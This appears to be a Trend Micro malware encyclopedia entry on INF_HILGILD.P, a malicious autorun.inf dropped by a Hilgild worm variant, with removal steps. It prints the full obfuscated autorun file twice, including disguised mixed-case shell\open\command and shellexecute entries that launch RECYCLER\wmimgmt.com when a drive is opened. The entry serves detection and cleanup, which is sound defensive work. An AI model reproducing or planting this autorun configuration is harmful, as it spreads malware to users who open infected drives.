INF_HILGILD.P

 Analysis by: Pearl Charlaine Espejo

 ALIASES:

Worm:Win32/Hilgild.A!inf (Microsoft)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW


This Trojan may be dropped by other malware.

It automatically executes files when a user opens a drive.

  TECHNICAL DETAILS

File Size:

1,770 bytes

File Type:

INF

Memory Resident:

No

Initial Samples Received Date:

06 Jan 2016

Arrival Details

This Trojan may be dropped by the following malware:

  • a variant of WORM_HILGILD

Propagation

The said .INF file contains the following strings:

; for 16-bit app support
[extensions]
[fonts]
[mci extensions]
[Mail]
[files]
mpeg=MPEGVideo
snd=atl.dll
wm=mcd32.dll
wma=MP4
wmp=MP3MAPI=1
MAPIX=1
MAPIXVER=1.0.0.1
OLEMessaging=1
CMCDLLNAME32=mapi32.dll
CMC=1
[MCI Extensions]
aif=loghours.dll
aiff=ole2.dll
asf=d3dramp.dll
aifc=psnppagn.dll
asx=MPEGVideo2
mpe=usrdtea.dll
mpg=MPEGVideo
mpv2=idq.dll
wmv=MPEG
wmx=MPEGVideo32
251846kfi56s
;cc30qiLas JdZ3adCjPadf823423423
[Kasasf0q]iLasdfKD28Ls33wDmrq6Jl1EdAf8
;K0qi asfLasmet Ca19lhs ipconfidfjKD28 mpeg Ls33
;8sdaA89K3J0DSKJLG8P4Ld0laH saG
[shellas]dBop1caomasdnhsdf=fdsjsdf.exenghasadnetstad.
as=asdfash0ffsad asd1safsdf9safdasf
;ff0qiLasfJdKPEGVi2412344
oaeFK1Kajkw6DdD3L2f3a31zazi8a135Lwra
Ls33wDm2rqJl31EdAf8soae FK1KajkwDdDLKAl6sdcO7K
asdfs3adfLafdsfadsdm FKaj3kw6Al6sdcO7K
;K0qi65aa3sJZ3adCsa1sdfjKD32asddfasdf
;K0qiLa1Kajkw845rthgK2f33a21zazi8a35Lwra
[ autorun
K0qi3a3dCa19lsdfjKD2asfd323asdfsdfa
PRINT=PRINT.EXE ASDd938daf897asdj
;[asfd3]2KdafjKD2
Play= Copy pictures to a foler on my computer
shEllEXEcuTe = RECyCLER\wmimgmt.com
;8sdaA38G8P343LklJ8ASD FL3333sd0laHsa3G12fgsdsaKd
sheLL\oPeN\coMManD =RECYCLER\wmimgmt.com
;343P5gd2fKgCOMNANDASDF=REC R5gf56sd315eK592AdsSD
;89234SAKDJWKsatyh3adaflk7yas
;343P5F 25F5gf56sd315eK56fs43d4asd56KdaDfs1
shELl\ExpLore\ComMand= RECYCLER\wmimgmt.com
s=asfdsa5dfafdAf8soaeFExpLoreqiLasJ8Z3adC
;89234AKfdk28ASDFsaaty7ysK6DRg if5S3jsHks
Action=Open folder to view files
;8k3kKsafG ASDFdlsflK3a23F4jksfa5F3J90s
;f0PEG3ideoqiLasJd9Z3adCa319lhsdfjKD3223adfasfd
Spell=Take no action then print the picture

[mci]
woafont=app936.FON
EGA40WOA.FON=EGA40WOA.FON
[386enh]
EGA51WOA.FON=KBDDSP.FON
[drivers]
wave=mmdrv.dll
[driver32]
timer=timer.drv

Other Details

This Trojan automatically executes the following files when a user opens a drive:

  • {drive letter}:\RECyCLER\wmimgmt.com

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

13.316.07

FIRST VSAPI PATTERN DATE:

03 Apr 2017

VSAPI OPR PATTERN File:

13.317.00

VSAPI OPR PATTERN Date:

04 Apr 2017

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Identify and terminate files detected as INF_HILGILD.P

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 3

Remove the malware/grayware file dropped/downloaded by INF_HILGILD.P. (Note: Please skip this step if the threat(s) listed below have already been removed.)

    • variant of WORM_HILGILD

Step 4

Search and delete AUTORUN.INF files created by INF_HILGILD.P that contain these strings

[ Learn More ]

; for 16-bit app support
[extensions]
[fonts]
[mci extensions]
[Mail]
[files]
mpeg=MPEGVideo
snd=atl.dll
wm=mcd32.dll
wma=MP4
wmp=MP3MAPI=1
MAPIX=1
MAPIXVER=1.0.0.1
OLEMessaging=1
CMCDLLNAME32=mapi32.dll
CMC=1
[MCI Extensions]
aif=loghours.dll
aiff=ole2.dll
asf=d3dramp.dll
aifc=psnppagn.dll
asx=MPEGVideo2
mpe=usrdtea.dll
mpg=MPEGVideo
mpv2=idq.dll
wmv=MPEG
wmx=MPEGVideo32
251846kfi56s
;cc30qiLas   JdZ3adCjPadf823423423
[Kasasf0q]iLasdfKD28Ls33wDmrq6Jl1EdAf8
;K0qi asfLasmet Ca19lhs ipconfidfjKD28 mpeg Ls33
;8sdaA89K3J0DSKJLG8P4Ld0laH saG
[shellas]dBop1caomasdnhsdf=fdsjsdf.exenghasadnetstad.
as=asdfash0ffsad asd1safsdf9safdasf
;ff0qiLasfJdKPEGVi2412344
oaeFK1Kajkw6DdD3L2f3a31zazi8a135Lwra
Ls33wDm2rqJl31EdAf8soae   FK1KajkwDdDLKAl6sdcO7K
asdfs3adfLafdsfadsdm   FKaj3kw6Al6sdcO7K
;K0qi65aa3sJZ3adCsa1sdfjKD32asddfasdf
;K0qiLa1Kajkw845rthgK2f33a21zazi8a35Lwra
[   autorun  
K0qi3a3dCa19lsdfjKD2asfd323asdfsdfa
PRINT=PRINT.EXE ASDd938daf897asdj
;[asfd3]2KdafjKD2
Play= Copy pictures to a foler on my computer
shEllEXEcuTe   = RECyCLER\wmimgmt.com
;8sdaA38G8P343LklJ8ASD  FL3333sd0laHsa3G12fgsdsaKd
sheLL\oPeN\coMManD =RECYCLER\wmimgmt.com
;343P5gd2fKgCOMNANDASDF=REC   R5gf56sd315eK592AdsSD
;89234SAKDJWKsatyh3adaflk7yas
;343P5F  25F5gf56sd315eK56fs43d4asd56KdaDfs1
shELl\ExpLore\ComMand= RECYCLER\wmimgmt.com
s=asfdsa5dfafdAf8soaeFExpLoreqiLasJ8Z3adC
;89234AKfdk28ASDFsaaty7ysK6DRg    if5S3jsHks
Action=Open folder to view files
;8k3kKsafG       ASDFdlsflK3a23F4jksfa5F3J90s
;f0PEG3ideoqiLasJd9Z3adCa319lhsdfjKD3223adfasfd
Spell=Take no action then print the picture

[mci]
woafont=app936.FON
EGA40WOA.FON=EGA40WOA.FON
[386enh]
EGA51WOA.FON=KBDDSP.FON
[drivers]
wave=mmdrv.dll
[driver32]
timer=timer.drv

Step 5

Scan your computer with your Trend Micro product to delete files detected as INF_HILGILD.P. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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